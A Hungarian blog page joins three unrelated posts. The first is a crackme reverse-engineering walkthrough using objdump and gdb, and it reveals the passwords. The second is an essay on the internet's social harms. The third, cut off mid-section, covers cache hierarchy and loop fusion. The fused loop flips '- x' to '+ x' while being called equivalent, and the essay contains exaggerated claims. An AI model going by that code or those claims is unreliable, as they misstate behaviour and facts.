Az informatikában sok helyen hasznos lehet ha az ember beláthat a színfalak mögé. Ilyen például amikor egy kártékony programmal megtámadnak egy céget, és a hatékony védekezés érdekében, a blue team oldalán, meg akarjuk tudni az ellenség módszereit, taktikáit és procedúráit. Ekkor az említett programot elemeire kell bontani, szét kell cincálni. Ugyanakkor előfordul, hogy a másik oldalon, a red team-ben vagyunk, amikor is teljesen nemes szándékkal vezérelve, és engedéllyel a birtokunkban, megpróbálunk hibát keresni egy programban, hogy aztán azt kihasználva, érvényesítsük céljainkat.

Nem lehet jobban hangsúlyozni a program visszafejtéssel elsajátítható készségek fontosságát az informatikában. A kiberbiztonság kétségkívül egy olyan ág, ahol ez különösen igaz. Nem véletlen, hogy a 3 betűs amerikai ügynökségek bizzilión mennyiségű dollárt fektetnek be ebbe az ágazatba.

Ebben a kis cikk sorozatban vissza fogok fejteni egy pár “crackme”-t a lehető legegyszerűbb eszközöket használva. A programok a crackmes.one oldalról vannak, ahova edukációs célokkal tudnak az emberek programokat feltölteni, amiket mások meg gyakorlásként fel tudnak törni.

Kis alapozás

Egyáltalán miért is olyan fene nehéz visszafejteni a programokat? A világon több gazdasági modell is létezik a program fejlesztésre, de általában azt szoktuk mondani, hogy egy program vagy zárt vagy nyílt forráskódú.

A zárt programokat általában cégek finanszírozzák és fejlesztik, majd a végeredményt értékesítik. Ekkor a forráskódot nem teszik közzé, hiszen az egyenlő lenne azzal, hogy ingyenessé teszik a programjukat.

Ezzel ellentétben a nyílt forráskódú programok, mint például a linux kernel, a közösség által vannak fenntartva, ingyenesek, bárki hozzájárulhat és fejlesztheti őket.

Most nem megyek bele ebbe a vitába, mindkét oldalnak megvannak a saját érvei, de annyit elmondanék, hogy biztonsági szempontból nézve a nyílt forráskódú projektek szerintem jobb helyzetben vannak mint a part túloldala. Az ok erre egyszerű, a zárt programok kódját visszafejtés nélkül nem lehet ellenőrizni. Az egész rendszer a “trust me bro” elven működik, mivel a felhasználónak semmi hatalma nincsen arra, hogy megnézze valójában mit is csinál a program. Ez abból a szempontból is kicsit gáz, hogy így nem csak abban kell bízni, hogy a fejlesztők szakmailag tökéletes munkát végeznek, hanem abban is, hogy a program tényleg semmi mást nem csinál az állítottakon kívül, hiszen ha úgyse tudja ellenőrizni ezt senki, és ráadásul még így lehet több profitot termelni, akkor miért is ne csinálnák? Láttuk már, hogy ekkor mi történik (khm Facebook per).

Tehát most olyan C/C++ nyelvben írt programokkal fogunk foglalkozni, amiknek a forráskódja nem adott, csak is egy futtatható állomány az egész. Ez az executable gépi kódból áll, hiszen az emberi nyelven írt kódot a fordító lefordítja a számítógép nyelvére, és ha explicit módon nem adtuk meg a fordítónak paraméterként, hogy hagyja benne a szimbólumokat, akkor egyáltalán nem lesz kölcsönösen egyértelmű ez a leképezés, kód szempontjából. Egy szó mint száz, nem fogjuk tudni a forráskódot olvasni. Azt megemlítem viszont hogy vannnak olyan csúcsszuper “decompiler”-ek, mint a Ghidra, amik így is nagyjából ki tudják találni, hogy mire gondolt a költő, amikor a programot írta, de ezekre most szerintem nem lesz szükségünk.

Most relatíve egyszerű és kezdőknek szánt feladatokat fogok megoldani, de hogy teljesen megértsd a megoldásokat, ahhoz C/C++ illetve Intel x86-64 assembly tudás az elengedhetetlen.

Az alábbiakat parancsori programokat fogom használni:

• objdump - az assembly kódját tudjuk ezzel olvasni a programnak
• ltrace és strace - a program futása közben leköveti milyen dinamikus könyvtár hívások történnek (pl printf vagy strcmp)
• gdb - egy svájci bicska ami minden programozónak a legjobb barátja, debugger szoftver de visszafejtésnél is szuperál
• strings - kis egyszerű eszköz, ami kiírja az összes kiírható karaktert amit megtalált az állományban

Fontos óvintézkedés mielőtt még bele lendülünk, hogy érdemes egy virtuális gépen csinálni ezeket a crackme-ket, mivel annak ellenére, hogy az exe-ket ellenőrzik feltöltés után, mégiscsak egy ismeretlen programot készülünk futtatni. A virtuális környezet pedig elszeparálja ezt a programot a valódi rendszerünktől, így biztonságosabbá téve ezt az egészet. Arra viszont figyeljünk, hogy még ez sem teljesen atombiztos, mivel ha van például megosztott mappa a virtuális gépünkben akkor máris van híd a kettő rendszer között. Illetve ismertek már olyan vírusok is, amik képesek kilépni a virtuális gépből, bizonyos körülmények között. Mindenesetre ezek közül valószínűleg egyse fenyeget minket, de ez az elővigyázatosság illetve ez az “adversary mindset” tehát, hogy a legrosszabbra készülünk, hasznos rutin amikor az ember kiberbiztonságban érdekelt.

Visszafejtés

Virtuális gépnek a VirtualBox-ot használom, amin van egy csupasz Arch Linux a felsorolt eszközökkel.

Az első:

D4RKFL0W’s Easy_firstCrackme-by-D4RK_FL0W

Letöltötjük és futtatjuk, csak hogy lássuk mivel van dolgunk.

Mint ahogy látszik egy jelszót kell valahogy kitalálnunk vagy éppenséggel kikerülnünk, és a jelszó az nem az almafa :((.

Próbáljuk rajta ki az eszközeinket:

Először nézzük az ltrace-t. Nagyon sokra nem mentünk vele, semmi érdekes nem látszik benne, csak a kiíratás folyamata. Ha például a beolvasott jelszót úgy ellenőrizte volna a program, hogy strcmp()-t használ, akkor azt itt láttuk volna.

Az objdump már annál hasznosabbnak bizonyult. Megkeressük a main blokkot, mivel valószínűleg ott történik a jelszó helyességének a vizsgálata. Itt már látszik egy kis minta, amit ki is emeltem a képen. A beolvasott jelszót karakterenkét ellenőrzi a program cmp operátorral. A “je” utasítás az a “jump if equal”-nak felel meg. Tehát ha a karakter egyenlő cmp-ben a hexadecimálissal, akkor átugorja a programazt a függvényhívást ami valami “failed” metódust hív meg. Az összehasonlításban használt hexadecimális értékeket ASCII karakterre fordítva és konkatenálva megkapjuk a kívánt jelszót: H1DD3N. Yey!

Megjegyezném, hogy karakterenként soha sehol sem érdemes jelszót ellenőrizni, vagy ha muszáj akkor figyeljünk oda arra, hogy konstans idő legyen az ellenőrzés, máskülönben támadható lesz a program side-channel támadással. Például ha van egy 4 jegyű beléptető PIN terminál ami egyből visszatér “Rossz jelszó!"-val miután beírtuk az első számjegyet, akkor brute force-nál 10.000 próbálkozás helyett elég lesz csak 40 próbálkozás.

A második:

D4RKFL0W’s crackme2-be-D4RK_FL0W

Ez lesz sem sokkal nehezebb első látszatra, itt is jelszót kell megfejtenünk.

A strings, ltrace, strace itt sem hasznos sokra. Az objdump-ot nézve sem találtam nagyon semmi triviális megoldásra vezetőt, de azt láttam hogy van a programban egy olyan blokk hogy _Z14check_passwordPc ami talán érdekes lehet a számunkra. Visszont passzív módon nem lehetet csak úgy az assembly kódból kiolvasni a jelszót mint előbb, valószínűleg a kolléga szándékosan úgy csinálta, hogy a program valamelyik eldugott részébe strcat()-tel futás időben állítja elő a jelszót karakterről karakterre.

Tehát futás közben kell végig lépkedünk azon, hogy mi is történik valójában. Erre fogom használni a gdb-t. A gdb önmagában kicsit csupasz ezért ajánlom neked is, hogy kicsit tuningold fel a GEF-fel, hogy egyszerűbb legyen a szomszéd néni wifijének a feltörése (viccelek).

Tehát amit csinláltam:

gbd -q crackme2-be-D4RK_FL0W

Elindítjuk a gdb-t.

set disassembly-flavor Intel
break *_Z14check_passwordPc
run 

Már nem emlékszem, hogy mi a default disassembly-flavor de én jobban preferálom az Intel féle syntaxot ezért állítottam be arra. Majd breakpoint-ot raktam a már említett függvényhez, hogy a programfutása ott megálljon, és megtudjuk vizsgálni közelebről is. A run-nal pedig elindítjuk a programot.

Ez a felület fogad minket. Gyors hogy miket láthatunk:

• felül ott van mind a 16 db 64 bites regiszter amikkel a számítógép dolgozik (igazából sokkal több regiszterrel dolgozik a számítógép, hogy minél több párhuzamosítást tudjon végrehajtani, csak az architektúra utasításkészlete 16 regiszterre lett kitalálva, és ettől eltérni nem lehet, mivel akkor nem lenne visszafelé kompatibilis és így a régi programok nem müködnének, ezért a processzor belül ezt a 16 regisztert képzi le az összes szabad szerintem több ezer regiszterére).
• alatta ott van a jól ismert stack
• utána az assembly utasítások, zölddel jelölve az épp következő utasítást

a többi annyira most nem érdekes számunkra

Itt már kiszúrja a szemünket valami, egész pontosan az r8 regiszterben ez a “isAAthisFunBBCCD”. Potenciálisan megvan már a győztesünk, de azért kutakodjunk tovább. Amikor ilyennel foglalkozik az ember akkor általában teljesül az, hogy ha valami túl jó hogy igaz legyen akkor tényleg az. Ezt csak azért mondom mert ezekben a feladatokban többszőr előfordul, hogy szándékosan tesznek bele “honeypot”-ot, aminek kb a magyar megfelelője a mézesmadzag. Ezeket szándékosan könnyen megszerezhetővé teszik, hogy az emberek bedőljenek neki. Ennek van valós gyakorlati haszna is, rengeteg rendszerbe helyeznek el ilyen honeypot-okat, csalikat, hogy a támadó fél erőforrását, idejét vesztegesse rajta feleslegesen. Olyakor még úgy is tud viselkedni, mint egy viharjelző, tehát ha valaki elkezdi támadni a honeypot-ot, akkor értesítést küld a védekezőknek, így több időt nyerve nekik a védelemben való felkészülésnél.

Vissza feladathoz, lépkedjünk a programban, ezt a stepi és nexti utasításokkal lehet a gdb-ben megcsinálni. A stepi és a nexti közötti különbség az az, hogy az egyik belelép a függvényhívásoknál a függvényekbe a másik pedig csak átugorja. Amikor a saját programodat debuggolod, akkor ugyanazek müködnek csak a végén az i nélkül. Gondolom az i az “instruction”-nek felel meg, mivel itt assembly utasításokról van szó.

Ekkor real-time látszik a program futása és a regisztereken a változás.

Itt látszik már, hogy tényleg a feltételezett megoldásunk lesz a jó, mivel a program….

1. az rax regiszterbe a 0x69(“i”) értéket rakta
2. az rdx regiszterbe a 0x74(“t”) értéket rakta
3. majd ezeknek az alsó 8 bitjét hasonlította össze cmp dl, al utasítással

Tehát itt is karakterenkét hasonlítja össze a program az általunk adott jelszót, ami most a “test” volt, a programban előállított “isAAthisFunBBCCD” -vel. Ez a megoldás.

Ennyi volt ez a kis bevezető, ha ijesztő az assembly számodra, nem vagy egyedül, de csak bíztatni tudlak, mivel megérteni talán még annyira nem nehéz és mellette kifizetődő, főleg ha érdekel a program visszafejtés.

A Jó

Az interneten nincsen távolság és lassan már minden háztartásban van egy internet-képes eszköz, tehát jóformán bárkivel kapcsolatba tudunk lépni szinte azonnal, fizikai határok nélkül. Csillagászati mértékekben lehetne kifejezni az elérhető tudásanyagot is, szóval tanulni és fejlődni elméletben soha nem volt ilyen egyszerű. Arról pedig nem is kell beszélni hogy, mennyi munkát teremtett, és mekkora platformot biztosít a kereskedelemnek. De hol itt a csattanó?

A Rossz

Sok eszközről el lehet mondani, hogy nagyon hasznos egészen addig amíg nem rossz szándékkal használják. Ott van például a kés, lehet vele kenyeret szeletelni, de embert is ölni. Ott a maghasadás, lehet vele lényegében tiszta, nagy mennyiségű energiát előállítani erőművekben, de ugyanakkor városokat lenullázni is. Azt már lehet szerintem látni ezek alapján is, hogy legalább akkora kárt lehet okozni a legtöbb eszközzel, mint amennyi hasznot lehet faragni belőle. Az internet is hasonló, de mégis más egy kicsit. Az internet nem csak fekete-fehér, rengeteg bújtatott következménye van aminek a kimenetelét nem tudjuk megjósolni, de már hatását érezhetjük jelenünkben is. Az emberek észre sem veszik ezeket a folyamatokat, mivel nem olyan mint egy atomvillanás vagy egy vágás, normálisnak érzik mert az interneten olyan gyökeres ösztöneink vannak kihasználva, amikről talán a legtöbben nem is hallottak. Elvesztettünk egy háborút, amiről nem is tudtuk, hogy létezik.

A valóság minden ember számára az amit lát, hall, tapint, szagol, ízlel, tehát az információk amik nap mint nap érnek minket. A modern ember elsődleges információforrása az internet, tehát jogosan állíthatjuk azt, hogy az internet nagyban befolyásolja valóságérzetünket, és világképünket. Na de milyen valóság is ez?

Hatása emberi kapcsolatainkra

Az előbb már említettem, hogy az egyik dolog, amire az internet büszke lehet az az emberek összehozása. A közösségi média pont azért lett olyan hatalmas, mert erre az embereknek szüksége van, társas lények vagyunk. Bennünk különféle hormonok, mint például az oxytocin vagy a dopamin, szabadulnak fel ha más emberekkel ismerkedünk, amik sikerélménynek az érzetét adják. Ezekről később is lesz szó. Ez viszont több sebből is vérzik.

Első dolog amit kiszeretnék emelni, hogy a közösségi médián senki a valóságot osztja meg magáról. Mindenki azt az alter egóját mutatja magáról aki boldog, aki sok pénzt keres, aki utazik és általánosságban csak pozitív élmények érik. Na már most ha ezt egy átlag ember meglátja és összehasonlítja középszerű életével, amiben igenis vannak szomorú és fájdalmas pillanatok, akkor el lesz keseredve mert azt fogja hinni, hogy valamit ő csinál rosszul. Pedig abban biztosak lehetünk, hogy a képernyő másik oldalán lévő embernek is vannak problémái. Ez egy nagyon általános példa volt, de többet is bele lehet látni, elég csak a testépítő influenszerekre gondolni, akik olyan normákat állítanak amik természetes módon elérhetetlenek, ezért az emberekben hamis példák tudnak kialakulni, így önkép és testképzavarba is futhatnak.

Az értékrendszerünkre és a morális iránytűnkre is nyílván hatással van a közösségi média, hiszen minden amit ott teszünk, megosztunk, juttalmazva van like-okkal, más emberek elismerésével, ez pedig szintúgy sikerélményt okoz bennünk. Ennek az érzésnek a folytonos kajtatása oda vezet hogy az értékrendszerünk az lesz, hogy nem lesz értékrendszerünk, mivel minden “jó” ami megtekintést és like-ot hoz. Ennek a megtestesülése az influenszerek, akik pénzért és megtekintésért, bármit állítanak, bármit megtesznek. A valóság az ő szemükben az, ami éppenséggel pénzt hoz a házhoz. “Óceánia mindig is háborúban állt Eurázsiával”, mondta ezt egy influenszer 3 pengőért.

Hiába hoz össze annyi új emberrel az internet, összeségében szerintem azt lehet elmondani, hogy az emberek csak magányosabbak lettek általa. Az interneten szerzett ismerősök azt az illúziót tartják fönt, hogy több százan vesznek körül téged, de a valóságban egyikükkel sincs közös emléked, pedig azok az igazán fontosak. Szerintem a barátságok, és a párkapcsolatok is akkor virágoznak ha van úgynevezett proof-of-work, tehát minél több munkát és energiát fektetsz bele, hogy legyenek közös pillanatok a valóságban.

Sajnos az internet kapcsán egyre többször jön elő ez az illúzió szó. Ez azért van szerintem, mert sok olyan dolog van az interneten, ami ugyanazt az érzést, ugyanazokat a hormonokat szabadítja föl bennünk mintha a valóságban csinálnánk, de közben meg egy sokkal másodrendűbb és mesterségesebb tevékenység. Talán mondanom se kell de a pornó is ide tartozik. Teljesen átveri, átprogramozza az emberek agyát. Nulla energia befektetést igénylő, végtelen élvezet. Ez a modern ember rákfenéje. Ez végül oda vezet, hogy az emberek kedvtelenek, ambíció nélküliek és motiválatlanok az élet minden területén, hiszen a test már nem tudja őket mivel jutalmazni hiszen hormonháztartásukat kimerítették, az említett élvezetekkel. Semmi sem számít, semmi sem okoz örömöt, mert kiégette az internet az agyat. Ez pedig a hedonizmus.

A cyberbullying és az online grooming is egy jelentős probléma, amik főleg az emberi jellem hibájából származnak, de az internetnek mint közvetítő közegnek is van felelőssége ebben.

Utolsónak hagytam azt ami szerintem a legfájóbb pontja az egésznek. Azt gondolná az ember, hogy az internet párbeszédet teremt, hogy vitákat indít, mivel annyi különböző gondolkodású, származású, anyagi helyzetű embert ereszt össze, hogy a súrlódást lehetetlen elkerülni. A helyzet viszont merően eltér ettől. A baj ott kezdődik, hogy a profitorientált cégek, nem meglepő módon, a profitot szeretnék maximalizálni (wow), és ezt úgy érik el, hogy maximalizálják az applikáción eltőltött idődet. Ennek egyik módja az, hogy olyan tartalmat raknak eléd ami érdekel téged, de legfőképp olyat ami tetszik neked. A háttérben müködő tanuló algoritmusok annyira tökéletesek és annyira olajozottan müködnek, hogy nagyon gyorsan világossá válik számukra milyen skatulyákba lehet téged sorolni. Nem fogsz látni olyan véleményeket, amik ellentmondanak a tieddel. Ha kutyás ember vagy kutyákat fogsz látni. Nincsen párbeszéd, nincsen vita, nincsen haladás. Mi követlezik ebből? Egy olyan túlhigénikus világ épül fel benned, ahol mindenki egyetért veled. Ez viszont nem a valóság. A valóságban, igenis sok különböző vélemény van és gondolat, amiknek meg kell ütközniük egymással. Egy elv, egy elmélet akkor ér valamit, ha próbára teszik azt. Legvégül pedig azon elvek maradnak fent, amik a legerősebbek voltak, legalaposabbak és legindokoltabbak. Mi történik amikor ez nincs jelen, mint például az interneten? Olyan elméletek kapnak lángra amiknek a valóságban esélyük se lenne, gondolok én itt a Lapos Föld hívőkre, vagy egyéb más áltudományt valló csoportokra. Buborékok jönnek létre az interneten, amik között nincsen átjárás, elmondod a véleményedet és csak a saját visszhangodat hallod visza. Az internet tehát amennyire összeköt minket, annyira szakadékot is teremt köztünk. Ennek a következményeiért pedig nem kell messzire tekinteni: a 2020-as amerikai választások után polgárháborús helyzet alakult ki, mivel a vesztes republikánus párt követői csalással vádolták a liberálisokat. Nem meglepő ez sem, csak gondoljunk bele egy republikánus szavazó helyzetébe, Facebookon csak republikánus csoportokban volt benne, csak az ő általa támogatott jelölteknek a hirdetését látta stb.. Ez után megnyerte egy olyan jelölt egy olyan párttal a választást ami az ő világában eddig nem is létezett.

Egyén szintjén is érdemes megvizsgálni mindezt, hiszen minket, mint egyéneket mégis csak jobban érint. Az emberek személyiségére szerintem negatív hatással van ez a “for you” marketing fogás, mivel az emberek így abban szocializálódnak, hogy minden róluk szól, minden nekik szól. “Ez a termék csak neked!” Mondanom sem kell, hogy ez egy eléggé egocentrikus jellemet tud okozni, ami hisztérikus rohamot kap, abban a pillanatban, hogy valaki más véleményen van mint ő. Eddig amikor azt mondtam hogy “vélemény”, mindig a kúltúrális és tiszteletteljes véleményekre gondoltam, de mivan akkor az alpári mocskolódással és trollkodással amivel az internet is tele van. A legjobb megoldás az lenne, ha az emberek megtanulnának a másikkal empatikusan viselkedni és normális formába önteni véleményüket. Az viszont szerintem megengedhetetlen, hogy csak egyszerűen cenzúrázzuk a bántó hozzászólásokat. Ezzel nem szüntettük meg a problémát csak a szőnyeg alá söpörtük csak azért hogy az illúziót fenntarthassuk. Ki mondja meg akkor mi a bántó komment, a kormány? Lehet ma még nem, de holnap már a szeletelt kenyér kifejezés már bántónak számít, csak mert valakinek ez áll az érdekében. Az emberekben igenis ki kell alakulni egy immunitásnak, toleranciának a negatív élmények ellen is, mivel sajnos a valóság tele van velük. Mindeközben pedig arra kell törekedni, hogy a tudatlanságot, ami a troll hozzáállást okozta, megszüntessük. A hajléktalanság sem szűnik meg, csak annyival hogy betiltjuk a hajléktalanokat. A tanúlság az, hogy több forrásból kell mindig tájékozódnunk és törekedünk kell egymás megismerésére, megértésére még akkor is ha úgy gondoljuk nekünk van igazunk, mert a világ nem fekete-fehér és mert közösen sokkal többre mehetünk, hiszen magányos hősök nem léteznek.

Ez a kép 100.000 emberre jutó öngyilkosságok számát mutatja az Egysült Államokban az évek múltával. Persze nem lehet közvetlen következtetést vonni a kép adata és az említett internet problémái között, hiszen jó pár, nem független tényező játszik szerepet még, de azért mindenesetre egy eléggé elszomorító görbe.

Hatása kognitív képességeinkre

Azt is felhoztam mint jótékony dolog, hogy milyen nagy mennyiségű tudás áll rendelkezésünkre az internet miatt. Ez így is van, csak éppenséggel az internetről informálódni olyan, mint tűzcsapból vizet inni. Egyszerűen az agyunk nem képes egészséges keretek között ennyi információt befogadni, és ennek vannak következményei.

Mindenekelőtt fontos belátni, hogy amennyire könnyű igazságot terjeszteni annyira egyszerű dezinformálni is az interneten. Társadalmakat, csoportokat lehet ezzel megtéveszteni, irányítani, megdönteni. A valóságot a legtöbb ember amúgy is az interneten, a hírportálokon keresztül látja, így a manipuláció és megvezetés gyerekjáték. Csak elégszer kell mondani hogy a fű az kék, az ég pedig zöld, előállítani a saját forrásainkat, az ellenvéleményeket pedig túlkiabálni. Az internet a tökéletes eszköz a propaganda terjesztésére, mindenkit el lehet érni vele, nem erőforrás igényes, az emberek szánt szándékkal nézik, és a megfelelő algoritmusokkal a kritikus hangokat el lehet izolálni a hívőktől, a kemény magtól. Még szerencse, hogy az interneten senkinek sem áll szándékában a tömegek manipulációja :DD.

Azt hogy milyen hatással volt / van az internet az agyunkra, talán a fiatal generációkon lehet a legjobban megfigyelni, mivel fiatal korban alakul ki az idegpályák nagy része, így a változásra is ekkor alkalmas a legjobban az agy. A probléma az információ mennyiségével és a formájával van legfőképp.

Mennyiség terén azt tudni kell, hogy az internet mérete 2 évente duplázódik és exponenciálisan növekszik. Amikor ez a rengeteg információ és inger elér minket, az agyunk úgy védekezik, hogy egyszerűen már nem fogadja be őket. Olvasol, nézel valamit de már 30 perc múlva nem is emlékszel rá, máskülönben az agy elvérezne a sok ingertől. Illetve a nagy mennyiségű információ, megosztja a figyelmünket, soha nem fogunk tudni egy dologra koncentrálni. Mindenbe belekezdünk de semmit nem fejezünk be, mert addigra már a másik információn jár az agyunk. Ez a biztos útja annak, hogy a tudásunk felületes legyen és haszontalan. Az egész emberiség tudása rendelkezésünkre áll, de nem tudunk vele mit kezdeni.

Az információnak sok formája van, de amit szerintem most érdemes szemügyre venni az a short content. Ahogy már szó volt róla, az információ szerzés olyan nekünk mint a drog. A rövid tartalmak, pedig tökéletesen beleillenek az egyre gyorsuló világunkba, hiszen alig igényelnek időt, és élvezettel csináljuk őket. Mindig többet és többet akarunk belőlük egészen addig, amíg az agyunkban a receptorok már ropogósra sültek a sok inger miatt. Ráadásul olyan dolgokat látunk amik tetszenek nekünk és kifogyhatatlan mennyiségben. Meggyőződésem, hogy a legtöbb ilyen applikáció mögött (TikTok, Instagram, Facebook pl) több pszichológus dolgozik mint programozó, mivel lenyűgöző módon tartják csapdában figyelmünket különféle ösztöneinket kihasználva. Mert a végső cél ez, hogy minél többet odaadjunk magunkból nekik, mivel mi vagyunk a termékek, mi vagyunk akik figyelmét, adatait eladják. Ha nem fizetsz a termékért, akkor te vagy a termék. Ebben nem mi vagyunk a hibásak, a döntés már nem tudatosan történik a legtöbb embernél, hanem reflexből nyúl a telefonhoz például. Abban viszont nagyon is hibásak vagyunk ha gyerekeinket nem védjük meg ettől, miután már tisztában vagyunk a következményekkel. Egyre gyakoribb sajnos az “iPad kid” jelenség, ahol a szűlő fáradtság vagy egyéb okok miatt, hanyag módon letudja a gyerek lefoglalását azzal, hogy kezébe adja a tabletet. Biztos nem sülhet ki semmi rossz, ha egy kisgyereknek korlátlan hozzáférése van az egész internethez…

Csak hogy konkrétumokat is említsek, a koncetrálóképesség drasztikusan csökken short content huzamos fogyasztása után. Az agyunk mindig alkalmazkodik a körülményekhez, és ha mi mindig maximum 1 perces tartalmakat fogyasztunk, akkor egyszerűen átprogramozza magát az agy és egy könyv elolvasása már nem fogja tudni lekötni a figyelmünket. Nem csak a könyvektől esünk el így, de minden mástól is ami egy kicsit is hosszabb gondolatmenetet igényel. Ha már könyveket megemlítettem, érdemes azt is leszögezni, hogy az interneten fogyasztott tartalom egyre nagyobb része vizuális. Ez talán azért hátrányos, mert így a kreativitásunkat soha nem kell megmozgatni, hogy elképzeljünk valamit, hiszen már ott van készen előttünk.

És a Csúf

Az internet bármennyire is egy csodálatos és utópisztikus elképzelés volt, jelen pillanatban a tömegek kihasználásáról, szárazra fejéséről szól, ahol az emberek már nem gyártanak semmi valódi értéket, csupán fogyasztók. Minden azzal keződik, hogy reggel felkelsz az álmodból. Itt az ideje felkelni, felkelni az álómból, a kényelemből és szembenézni a valósággal, ami lehet csúf vagy reménytelen, sárga és keserű, de legalább a miénk. Használd az internetet, de ne az internet használjon téged.

Remélem sikerült jól összefoglalnom ezt a pár gondolatomat a témában, ha van bármi hozzászólásod ne tartsd magadban! Legyen szép napod!

Tárhierarchia

A számítógépünk teljesítménye lényegében a processzor és a memória órajeléből tevődik össze, és eme két egység közül, a memória az ami a processzor mögött kullog. Ez azt jelenti, hogy hiába a magas CPU órajel, ha a memória szűk keresztmetszetként viselkedik mellette, mivel ha az éppen végrehajtandó utasításnál, nincsen kéznél a használandó adat, akkor a processzor várakozásra kényszerül, ezáltal nem használja ki teljes potenciálját, így suboptimális lesz a kihasználtsága.

Lokalitási elvek

Nagy szerencse hogy a számítógépes programok többsége valamilyen mintát követnek, mikor a memóriába nyúlnak, úgynevezett lokalitási elveket, és ezeket kihasználva tudunk a teljesítményen javítani. Többféle lokalitási elvet is ismerünk:

Ha egy memóriában tárolt adaton műveletet végeztünk…

• Időbeli lokalitás: …akkor valószínűleg a közel jövőben is használni fogjuk. Példa: egy ciklus számlálóját minden ciklusban növelem.
• Térbeli lokalitás: …akkor valószínűleg a közelben lévő adatokat is használni fogjuk. Példa: egy tömböt bejárok.
• Algoritmikus lokalitás: Sok program dinamikus adatstruktúrákkal dolgozik (pl. bináris fák, láncolt listák), ezek viszont nem felelnek meg se nem a térbeli se nem az időbeli lokalitásnak (mivel a memóriában nem folytonosan helyezkednek el), ámde mégis szabályos viselkedést eredményeznek, melyet ki lehet használni.

Tehát ha lokalitási elvek szerint, a processzor közelébe helyezzük a gyakran használt adatokat és környezetüket, akkor csökkenthetjük a lassú és költséges memória műveletek számát. Ekkor is memóriában helyezzük el az adatainkat, csak egy sokkal gyorsabb de kisebb és magasabb fogyasztásúban. Ezt a memóriát cache memóriának nevezzük. De milyen technológiát használnak cachenél?

Több memória technológiát is ismerünk, mint például a magas adatsűrűségű és olcsóbb, de lasúbb DRAM, vagy az alacsony adatsűrűségű és drága, de gyors SRAM. Egy bit tárolásához, A DRAM 1 tranzisztort, az SRAM pedig 6-ot használ, innen ered a fogyasztás, adatsűrűség és az ár különbség. Egyiknél sem teljesülhet viszont egyszerre az, hogy olcsó, gyors és nagy, így mindig az igényekhez igazítva, a kompromisszum kötés elkerülhetetlen. Itt jön be a tárhierarchia miszerint több szintből építjük fel a memóriát úgy, hogy az adott szintet minél többször használja a processzor, annál gyorsabb és ezáltal kisebb legyen.

A leglassabb tárolón, a háttértáron tartjuk a legkevésbé használt, de nagy mennyiségű adatokat, általában HDD-n vagy SSD-n. A gyakran használt adatokat az operatív memóriában tároljuk, általában DRAM-ot használva, és az éppen futó program vagy process által használt adatokat (pl. egy lokális változót) pedig a cache-ben tartjuk, ami SRAM-ból épül fel.

A cache további működését itt nem részletezem, de ha érdekel akkor érdemes utánanézni, hogy mi alapján kerülnek be a cache-be az adatok, mert nyílván mikor a program hivatkozik a memóriára akkor már készen kell állnia a cache-ben, így valahogy meg kellene jósolni, hogy a jövőben használni fogjuk-e az adatot, ugyanakkor nem szemetelhetjük tele a cache-t mindennel mert kicsi :(, ezért jó tippnek kell lennie. Prefetch-nek nevezik ezt, és egyszerűbb mind aminek gondolnád.

Mind ezek szerint elengedhetetlen, hogy a processzor kihasználás érdekében, a programozó segítse a tárhierarchia munkáját:

• A cache esetében, ha a programozó össze-vissza hivatkozik a memóriára, akkor sok lesz a cache hiba, és így kénytelen lesz a számítógép a lomha memóriához nyúlni.
• A DRAM alapú rendszermemória esetében az azonos sorban lévő cellák elérése gyors, de ha itt is véletlenszerűen hivatkozunk a címekre, akkor az új sorok megnyitása költésges és lassú művelet lesz.

Tehát a programozó célja, hogy a memóriákat úgy címezze, hogy azok megfeleljenek a lokalitási elveknek. Hogyan?

Lokalitásbarát ciklusszervezés

A gyakorlatban számtalan alkalommal van szükség egy-, vagy többdimenziós tömbök bejárása, ehhez pedig ciklus(ok) szükséges(ek). Példát mutatok azon ciklusszervezési technikákra, melyek hasznosítják az imént kifejtett tárhierarchiai ismereteinket, és ezzel javítják programunk futásidejét.

Ciklusegyesítés

Eredeti kód:

for (int i=0; i < N; i++)
    b[i] = c * a[i] - x;
sum = 0;
for (int i=0; i < N; i++)
    sum += b[i];
for( int i=0; i < N; i++)
    d[i] = a[i] + b[i];

Fenti kód egy C nyelvű mezei, iskolapélda kód. Most mindenki kapaszkodjon meg mert matekozni fogunk. Számoljuk ki a cache hiba-arányt azaz azt, hogy összes cache-hez intézett kérésünk közül mennyiszer kaptuk azt a választ, hogy sajnos a lassú memóriához kell nyúlnunk, mert a cache-ben nincsen benne az, amit keresünk. Tegyük fel az alábbiakat az egyszerűség kedvéért:

• N legyen a tömb mérete tetszőlegesen nagy
• a cache blokk mérete 64 bájt
• a tömb elemei 8 bájtos double-ök
• az i, c, x és sum elérése nem jár memória-hozzáféréssel.

Az első for ciklus bejárja az a és b tömböt. Az i = 0 -nál cache hibát kaptunk a[0] és b[0] esetben is, mivel üres volt eddig még a cache-ünk. Ha cache hiba történik akkor viszont 8 tömb elem kerül be a cachebe, mivel a térbeli lokalitás szerint azt feltételezzük, hogy a soron következő elemeket is használni fogjuk, és több már nem is férne bele egy cache blokkba (64/8=8). Tehát 8 lépésenkét lesz cache hiba, és mivel 2N memóriahivatkozás van ezért itt 2N/8 cache hiba lesz.

A második for ciklusnál, ha N elég nagy volt akkor a b tömb eleje már nincs benne a cache-ben, mert a hátsó elemei már kiszorították onnan. Ezért itt, megint minden 8. hivatkozás cache hiba lesz, így N/8 hibát okozva.

Hasonlóan számolhatunk a harmadik ciklusban is, 3N hivatkozás függvényében 3N/8 cache hibát kapunk.

Szummázva a cache hibákat megkapjuk, hogy 6N memóriahivatkozásnál 1/8 lesz a cache-hiba arány, ami 12.5%.

Most pedig ciklusegyesítéssel a kód:

sum = 0;
for (int i=0; i<N; i++){
    b[i] = c * a[i] + x;
    sum += b[i];
    d[i] = a[i] + b[i];
}

Egyértelműen látszik, hogy ez az algoritmus ugyanazzal a funkcionalitással rendelkezik mind az eredeti, csak kicsit jobb. A ciklus hasában az első 2 memóriahivatkozás még mindig minden 8. lépésnél cache hibát okoz. A második sorban az a[i] és b[i] soha nem okozhat cache hibát, mivel már biztosan a cache-ben vannak az első sor révén. A harmadik sorban pedig az előző érvelés alapján csak a d[i] fog cache hibát dobni 8 lépésenként.

Tehát összesen 3N/8 (= 2N/8 + N/8) hibát kapunk így az arány 6N memóriahivatkozás mellett 1/16-od, ami 6.25%, azaz fele az előzőnek.

Itt látszik, hogy milyen kis energia befektetéssel, kétszer gyorsabb futásidőt kaptunk. Az első ökölszabály tehát, hogy amit lehet egyetlen ciklusban, azt egyetlen ciklusban érdemes megvalósítani.

Ciklusok sorrendjének optimalizálása

